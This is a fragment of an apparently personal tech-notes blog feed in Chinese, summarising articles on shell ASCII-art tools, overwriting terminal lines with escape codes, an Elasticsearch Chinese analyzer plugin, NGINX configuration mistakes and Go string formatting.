&lt;/table></description></item><item><title>在 Shell 中輸出 ASCII 藝術字</title><link>https://9855cc0f.linzeyan.pages.dev/zh-tw/posts/2022/20221021-shell-printing-ascii-art/</link><pubDate>Fri, 21 Oct 2022 17:30:41 +0800</pubDate><guid>https://9855cc0f.linzeyan.pages.dev/zh-tw/posts/2022/20221021-shell-printing-ascii-art/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://www.baeldung.com/linux/shell-printing-ascii-art" target="_blank" rel="noopener">在 Shell 中輸出 ASCII 藝術字&lt;/a>&lt;/li>
&lt;/ul>
&lt;h5 id="banner">banner&lt;/h5>
&lt;blockquote>
&lt;p>&lt;code>sudo apt install sysvbanner&lt;/code>&lt;/p>&lt;/blockquote>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ banner hello
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># # ###### # # ####&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># # # # # # #&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">###### ##### # # # #&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># # # # # # #&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># # # # # # #&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># # ###### ###### ###### ####&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h5 id="figlet-frank-ian-and-glenns-letters">FIGlet: Frank, Ian, and Glenn&amp;rsquo;s Letters&lt;/h5>
&lt;blockquote>
&lt;p>&lt;code>sudo apt install figlet&lt;/code>&lt;/p>&lt;/blockquote>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ figlet hello
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> _ _ _
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| |__ ___| | | ___
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| &lt;span style="color:#960050;background-color:#1e0010">&amp;#39;&lt;/span>_ &lt;span style="color:#ae81ff">\ &lt;/span>/ _ &lt;span style="color:#ae81ff">\ &lt;/span>| |/ _ &lt;span style="color:#ae81ff">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">&lt;/span>| | | | __/ | | &lt;span style="color:#f92672">(&lt;/span>_&lt;span style="color:#f92672">)&lt;/span> |
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>|_| |_|&lt;span style="color:#ae81ff">\_&lt;/span>__|_|_|&lt;span style="color:#ae81ff">\_&lt;/span>__/
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;ul>
&lt;li>&lt;code>-f&lt;/code> 選項可指定輸出的字型&lt;/li>
&lt;li>&lt;code>-l&lt;/code>、&lt;code>-c&lt;/code>、&lt;code>-r&lt;/code> 可將文字對齊到左、中、右&lt;/li>
&lt;/ul>
&lt;h5 id="toilet-figlet-with-more-options">TOIlet: FIGlet With More Options&lt;/h5>
&lt;blockquote>
&lt;p>&lt;code>sudo apt install toilet&lt;/code>&lt;/p></description></item><item><title>如何讓終端輸出覆蓋同一行</title><link>https://9855cc0f.linzeyan.pages.dev/zh-tw/posts/2022/20221021-echo-printf-overwrite-terminal-line/</link><pubDate>Fri, 21 Oct 2022 17:29:10 +0800</pubDate><guid>https://9855cc0f.linzeyan.pages.dev/zh-tw/posts/2022/20221021-echo-printf-overwrite-terminal-line/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://www.baeldung.com/linux/echo-printf-overwrite-terminal-line" target="_blank" rel="noopener">如何讓終端輸出覆蓋同一行&lt;/a>&lt;/li>
&lt;/ul>
&lt;h5 id="問題簡介">問題簡介&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ cat print_status.sh
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>!/bin/bash
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>echo &lt;span style="color:#e6db74">&amp;#34;[INFO] Processing file: readme.txt&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sleep &lt;span style="color:#ae81ff">2&lt;/span> To simulate the file processing
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>echo &lt;span style="color:#e6db74">&amp;#34;[INFO] Processing file: veryPowerfulService.service&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sleep &lt;span style="color:#ae81ff">2&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>echo &lt;span style="color:#e6db74">&amp;#34;[INFO] Processing file: log.txt&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>echo &lt;span style="color:#e6db74">&amp;#34;DONE&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ ./print_status.sh
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">[&lt;/span>INFO&lt;span style="color:#f92672">]&lt;/span> Processing file: readme.txt
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">[&lt;/span>INFO&lt;span style="color:#f92672">]&lt;/span> Processing file: veryPowerfulService.service
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">[&lt;/span>INFO&lt;span style="color:#f92672">]&lt;/span> Processing file: log.txt
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>DONE
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h5 id="魔法碼-0330kr">「魔法碼」: &lt;code>\033[0K\r&lt;/code>&lt;/h5>
&lt;ul>
&lt;li>&lt;code>-n&lt;/code> 讓 echo 不輸出結尾的換行字元&lt;/li>
&lt;li>&lt;code>-e&lt;/code> 讓 echo 解讀反斜線逸出字元，例如 &lt;code>\n&lt;/code>（換行）與 &lt;code>\r&lt;/code>（回車）&lt;/li>
&lt;li>&lt;code>\033&lt;/code> - 逸出序列，也就是 ESC&lt;/li>
&lt;li>&lt;code>\033[&lt;/code> - 變成 &amp;ldquo;ESC [&amp;quot;，也就是控制序列引導字元（CSI）&lt;/li>
&lt;li>&lt;code>\033[0k&lt;/code> - 即 &amp;ldquo;CSI 0 K&amp;rdquo;，會清除從游標到行尾的文字&lt;/li>
&lt;li>&lt;code>\r&lt;/code> - 回車，將游標移回行首&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ cat print_status.sh
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">#!/bin/bash&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>echo -ne &lt;span style="color:#e6db74">&amp;#34;[INFO] Processing file: readme.txt\033[0K\r&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sleep &lt;span style="color:#ae81ff">2&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>echo -ne &lt;span style="color:#e6db74">&amp;#34;[INFO] Processing file: veryPowerfulService.service\033[0K\r&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sleep &lt;span style="color:#ae81ff">2&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>echo -e &lt;span style="color:#e6db74">&amp;#34;[INFO] Processing file: log.txt\033[0K\r&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>echo &lt;span style="color:#e6db74">&amp;#34;DONE&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>!/bin/bash
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>printf &lt;span style="color:#e6db74">&amp;#34;[INFO] Processing file: readme.txt\033[0K\r&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sleep &lt;span style="color:#ae81ff">2&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>printf &lt;span style="color:#e6db74">&amp;#34;[INFO] Processing file: veryPowerfulService.service\033[0K\r&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sleep &lt;span style="color:#ae81ff">2&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>printf &lt;span style="color:#e6db74">&amp;#34;[INFO] Processing file: log.txt\033[0K\r\n&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>echo &lt;span style="color:#e6db74">&amp;#34;DONE&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>ElasticSearch 学习笔记</title><link>https://9855cc0f.linzeyan.pages.dev/zh-tw/posts/2022/20221006-elasticsearch/</link><pubDate>Thu, 06 Oct 2022 11:30:59 +0800</pubDate><guid>https://9855cc0f.linzeyan.pages.dev/zh-tw/posts/2022/20221006-elasticsearch/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://jiajunhuang.com/articles/2022_10_06-elasticsearch.md.html" target="_blank" rel="noopener">ElasticSearch 学习笔记&lt;/a>&lt;/li>
&lt;/ul>
&lt;h3 id="安装中文分词插件">安装中文分词插件&lt;/h3>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>docker exec -it elasticsearch bash
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ elasticsearch-plugin install https://github.com/medcl/elasticsearch-analysis-ik/releases/download/v8.4.1/elasticsearch-analysis-ik-8.4.1.zip
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;ul>
&lt;li>Dev Tools
&lt;ul>
&lt;li>&lt;code>content&lt;/code> 类型为 &lt;code>text&lt;/code>，写入时使用 &lt;code>ik_max_word&lt;/code> 做分词，搜索时使用 &lt;code>ik_smart&lt;/code> 分词。这两个的区别在于，前者产生尽可能多的分词，后者产生粗粒度的分词。&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-json" data-lang="json">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#960050;background-color:#1e0010">PUT&lt;/span> &lt;span style="color:#960050;background-color:#1e0010">/words&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">&amp;#34;mappings&amp;#34;&lt;/span>: {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">&amp;#34;properties&amp;#34;&lt;/span>: {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">&amp;#34;content&amp;#34;&lt;/span>: {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">&amp;#34;type&amp;#34;&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;text&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">&amp;#34;analyzer&amp;#34;&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;ik_max_word&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">&amp;#34;search_analyzer&amp;#34;&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;ik_smart&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> },
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">&amp;#34;age&amp;#34;&lt;/span>: {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">&amp;#34;type&amp;#34;&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;integer&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">&amp;#34;index&amp;#34;&lt;/span>: &lt;span style="color:#66d9ef">false&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-json" data-lang="json">&lt;span style="display:flex;">&lt;span>{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">&amp;#34;acknowledged&amp;#34;&lt;/span>: &lt;span style="color:#66d9ef">true&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">&amp;#34;shards_acknowledged&amp;#34;&lt;/span>: &lt;span style="color:#66d9ef">true&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">&amp;#34;index&amp;#34;&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;words&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>《宝可梦：阿尔宙斯》双周目通关</title><link>https://9855cc0f.linzeyan.pages.dev/zh-tw/posts/2022/20220919-pokemon-legends-arceus-stage-clear/</link><pubDate>Mon, 19 Sep 2022 11:30:08 +0800</pubDate><guid>https://9855cc0f.linzeyan.pages.dev/zh-tw/posts/2022/20220919-pokemon-legends-arceus-stage-clear/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://soulteary.com/2022/09/05/pokemon-legends-arceus-stage-clear.html" target="_blank" rel="noopener">《宝可梦：阿尔宙斯》双周目通关&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>Avoiding the Top 10 NGINX Configuration Mistakes - NGINX</title><link>https://9855cc0f.linzeyan.pages.dev/zh-tw/posts/2022/20220916-avoiding-top-10-nginx-configuration-mistakes/</link><pubDate>Fri, 16 Sep 2022 15:22:23 +0800</pubDate><guid>https://9855cc0f.linzeyan.pages.dev/zh-tw/posts/2022/20220916-avoiding-top-10-nginx-configuration-mistakes/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://www.nginx.com/blog/avoiding-top-10-nginx-configuration-mistakes/" target="_blank" rel="noopener">Avoiding the Top 10 NGINX Configuration Mistakes - NGINX&lt;/a>&lt;/li>
&lt;/ul>
&lt;h2 id="1-每個-worker-的檔案描述元fd不夠">1) 每個 worker 的檔案描述元（FD）不夠&lt;/h2>
&lt;h3 id="問題點">問題點&lt;/h3>
&lt;ul>
&lt;li>&lt;code>worker_connections&lt;/code> 只限制 &lt;strong>單一 worker 可同時開啟的連線數&lt;/strong>（預設 512）。&lt;/li>
&lt;li>但每個連線/檔案/暫存檔/日誌都會消耗 &lt;strong>檔案描述元（FD）&lt;/strong>，而 OS 預設每個 process 常見是 1024。&lt;/li>
&lt;li>常見錯誤：只調大 &lt;code>worker_connections&lt;/code>，卻沒有同步提高 FD 限制，導致 worker 提早耗盡 FD。&lt;/li>
&lt;/ul>
&lt;h3 id="修正方式">修正方式&lt;/h3>
&lt;ul>
&lt;li>在 &lt;strong>main context&lt;/strong> 設定 &lt;code>worker_rlimit_nofile&lt;/code>，至少為 &lt;code>worker_connections&lt;/code> 的 2 倍（經驗值）。&lt;/li>
&lt;li>同時確認系統總 FD 上限 &lt;code>fs.file-max&lt;/code> 足夠：
&lt;code>worker_rlimit_nofile * worker_processes&lt;/code> 要明顯小於 &lt;code>fs.file-max&lt;/code>。&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-nginx" data-lang="nginx">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># main context
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span>&lt;span style="color:#66d9ef">worker_connections&lt;/span> &lt;span style="color:#ae81ff">1024&lt;/span>; &lt;span style="color:#75715e"># 在 events {} 內
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span>&lt;span style="color:#66d9ef">worker_rlimit_nofile&lt;/span> &lt;span style="color:#ae81ff">2048&lt;/span>; &lt;span style="color:#75715e"># 在 main context
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="補充">補充&lt;/h3>
&lt;ul>
&lt;li>NGINX 當 proxy 時：client 連線 1 FD + upstream 連線 1 FD，可能還需要暫存檔 1 FD。&lt;/li>
&lt;li>若被 DoS 打滿 FD，甚至可能無法登入機器處置，因此要預留系統餘裕。&lt;/li>
&lt;/ul>
&lt;hr>
&lt;h2 id="2-error_log-off-其實沒有關閉-error-log">2) &lt;code>error_log off&lt;/code> 其實沒有關閉 error log&lt;/h2>
&lt;h3 id="問題點-1">問題點&lt;/h3>
&lt;ul>
&lt;li>&lt;code>error_log&lt;/code> &lt;strong>不支援&lt;/strong> &lt;code>off&lt;/code> 參數。&lt;/li>
&lt;li>寫成 &lt;code>error_log off;&lt;/code> 會讓 NGINX 產生一個名為 &lt;code>off&lt;/code> 的檔案（通常在 &lt;code>/etc/nginx/&lt;/code>）。&lt;/li>
&lt;/ul>
&lt;h3 id="修正方式不建議真的關閉">修正方式（不建議真的關閉）&lt;/h3>
&lt;ul>
&lt;li>若真的必須停寫 error log（例如磁碟極度有限），改導到 &lt;code>/dev/null&lt;/code> 並限制等級：&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-nginx" data-lang="nginx">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># main context
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span>&lt;span style="color:#66d9ef">error_log&lt;/span> &lt;span style="color:#e6db74">/dev/null&lt;/span> &lt;span style="color:#e6db74">emerg&lt;/span>;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="補充-1">補充&lt;/h3>
&lt;ul>
&lt;li>這條生效前，NGINX 啟動/ reload 驗證設定的過程仍可能先寫到預設路徑（常見 &lt;code>/var/log/nginx/error.log&lt;/code>）。&lt;/li>
&lt;li>可用啟動參數 &lt;code>nginx -e &amp;lt;error_log_location&amp;gt;&lt;/code> 指定啟動階段的 error log 位置。&lt;/li>
&lt;/ul>
&lt;hr>
&lt;h2 id="3-沒有對-upstream-啟用-keepalive導致連線來源埠耗盡">3) 沒有對 upstream 啟用 keepalive（導致連線/來源埠耗盡）&lt;/h2>
&lt;h3 id="問題點-2">問題點&lt;/h3>
&lt;ul>
&lt;li>預設：NGINX 對 upstream &lt;strong>每個 request 都新建連線&lt;/strong>，連線建立/關閉都有成本。&lt;/li>
&lt;li>高流量時會放大 OS 資源消耗；且連線關閉後會進入 &lt;code>TIME-WAIT&lt;/code>，可能導致 &lt;strong>來源埠（ephemeral ports）耗盡&lt;/strong>，進而無法建立新連線。&lt;/li>
&lt;/ul>
&lt;h3 id="修正方式-1">修正方式&lt;/h3>
&lt;p>&lt;strong>(A) 在每個 &lt;code>upstream {}&lt;/code> 內加 &lt;code>keepalive&lt;/code>&lt;/strong>&lt;/p></description></item><item><title>Go 字串格式化</title><link>https://9855cc0f.linzeyan.pages.dev/zh-tw/posts/2022/20220908-string-format/</link><pubDate>Thu, 08 Sep 2022 11:32:00 +0800</pubDate><guid>https://9855cc0f.linzeyan.pages.dev/zh-tw/posts/2022/20220908-string-format/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://zetcode.com/golang/string-format/" target="_blank" rel="noopener">Go 字串格式化&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.liwenzhou.com/posts/Go/fmt/" target="_blank" rel="noopener">Go 語言 fmt.Printf 使用指南&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>結尾的動詞（verb）決定對應參數的型別與解讀方式。&lt;/p>
&lt;ul>
&lt;li>&lt;code>d&lt;/code> - 十進位整數&lt;/li>
&lt;li>&lt;code>o&lt;/code> - 八進位整數&lt;/li>
&lt;li>&lt;code>O&lt;/code> - 帶有 &lt;code>0o&lt;/code> 前綴的八進位整數&lt;/li>
&lt;li>&lt;code>b&lt;/code> - 二進位整數&lt;/li>
&lt;li>&lt;code>x&lt;/code> - 十六進位整數（小寫）&lt;/li>
&lt;li>&lt;code>X&lt;/code> - 十六進位整數（大寫）&lt;/li>
&lt;li>&lt;code>f&lt;/code> - 十進位浮點數（小寫）&lt;/li>
&lt;li>&lt;code>F&lt;/code> - 十進位浮點數（大寫）&lt;/li>
&lt;li>&lt;code>e&lt;/code> - 科學記號（尾數/指數，小寫）&lt;/li>
&lt;li>&lt;code>E&lt;/code> - 科學記號（尾數/指數，大寫）&lt;/li>
&lt;li>&lt;code>g&lt;/code> - &lt;code>%e&lt;/code> 或 &lt;code>%f&lt;/code> 的最短表示&lt;/li>
&lt;li>&lt;code>G&lt;/code> - &lt;code>%E&lt;/code> 或 &lt;code>%F&lt;/code> 的最短表示&lt;/li>
&lt;li>&lt;code>c&lt;/code> - 以 Unicode 碼點表示的字元&lt;/li>
&lt;li>&lt;code>q&lt;/code> - 帶引號的字元&lt;/li>
&lt;li>&lt;code>U&lt;/code> - Unicode 逸出序列&lt;/li>
&lt;li>&lt;code>t&lt;/code> - true 或 false 字串&lt;/li>
&lt;li>&lt;code>s&lt;/code> - 字串&lt;/li>
&lt;li>&lt;code>v&lt;/code> - 預設格式&lt;/li>
&lt;li>&lt;code>#v&lt;/code> - 值的 Go 語法表示&lt;/li>
&lt;li>&lt;code>T&lt;/code> - 值型別的 Go 語法表示&lt;/li>
&lt;li>&lt;code>p&lt;/code> - 指標位址&lt;/li>
&lt;li>&lt;code>%&lt;/code> - 雙 &lt;code>%%&lt;/code> 會輸出單一 &lt;code>%&lt;/code>&lt;/li>
&lt;/ul>
&lt;h3 id="go-字串格式化索引">Go 字串格式化索引&lt;/h3>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">package&lt;/span> &lt;span style="color:#a6e22e">main&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">import&lt;/span> (
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;fmt&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> &lt;span style="color:#a6e22e">main&lt;/span>() {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">n1&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#ae81ff">2&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">n2&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#ae81ff">3&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">n3&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#ae81ff">4&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">res&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Sprintf&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;There are %d oranges %d apples %d plums&amp;#34;&lt;/span>, &lt;span style="color:#a6e22e">n1&lt;/span>, &lt;span style="color:#a6e22e">n2&lt;/span>, &lt;span style="color:#a6e22e">n3&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Println&lt;/span>(&lt;span style="color:#a6e22e">res&lt;/span>) &lt;span style="color:#75715e">// There are 2 oranges 3 apples 4 plums&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">res2&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Sprintf&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;There are %[2]d oranges %d apples %[1]d plums&amp;#34;&lt;/span>, &lt;span style="color:#a6e22e">n1&lt;/span>, &lt;span style="color:#a6e22e">n2&lt;/span>, &lt;span style="color:#a6e22e">n3&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Println&lt;/span>(&lt;span style="color:#a6e22e">res2&lt;/span>) &lt;span style="color:#75715e">// There are 3 oranges 4 apples 2 plums&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="go-字串格式化精度">Go 字串格式化精度&lt;/h3>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">package&lt;/span> &lt;span style="color:#a6e22e">main&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">import&lt;/span> (
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;fmt&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> &lt;span style="color:#a6e22e">main&lt;/span>() {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Printf&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;%0.f\n&amp;#34;&lt;/span>, &lt;span style="color:#ae81ff">16.540&lt;/span>) &lt;span style="color:#75715e">// 17&lt;/span>
